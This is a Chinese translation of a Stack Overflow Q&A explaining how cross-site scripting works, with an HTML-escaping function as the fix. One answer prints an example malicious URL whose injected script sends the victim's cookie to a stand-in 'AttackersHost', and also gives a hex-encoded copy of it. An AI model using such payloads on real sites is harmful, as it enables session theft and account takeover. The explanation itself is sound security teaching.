stackoverflow热门翻译

stackoverflow高赞翻译 | XSS工作原理

2017-12-17  本文已影响27人  丁止戈

文章原址https://stackoverflow.com/questions/239194/how-does-xss-work

问题描述:

能不能用简单的语言介绍一下XSS的工作原理,最好举一个例子,谷歌不能很好的检索这个问题。
(Ask by Vicky)

高赞回答

当XSS存在时,外部应用程序的字符串被解释为代码。
如果你的HTML是这样的:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

如果变量$myQueryParameter包含一个<SCRIPT>标签,它将最终执行(<SCRIPT>中的)代码。
为了防止输入作为代码执行,必须恰当的转义某些内容。
上面的问题可以通过让变量$myQueryParameter包含纯文本解决,但不能把纯文本直接放到HTML中并期望它执行。
所以让纯文本变成HTML,这样才能让它在HTML页面中显示。将一种语言的字符串转换成另一种语言就可以嵌入了。
你可以执行一个函数来把纯文本转义成HTML,如:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}

(answered by Mike Samuel



跨站脚本(XSS)主要是动态网站页面的安全漏洞,攻击者创建一个恶意链接向网站植入可执行的恶意JavaScript代码。大多数情况下,这种漏洞在GET变量无需过滤或检测内容就能输出或响应时复现。
当受害人点击链接,恶意代码能发送受害人的cookie到另一台服务器,或者修改受影响的站点,注入表单,窃取用户名和密码,和其他钓鱼诈骗方法。
恶意链接例子:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

也能编译恶意代码,十六进制如下:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

(answered by CMS

上一篇 下一篇

猜你喜欢

热点阅读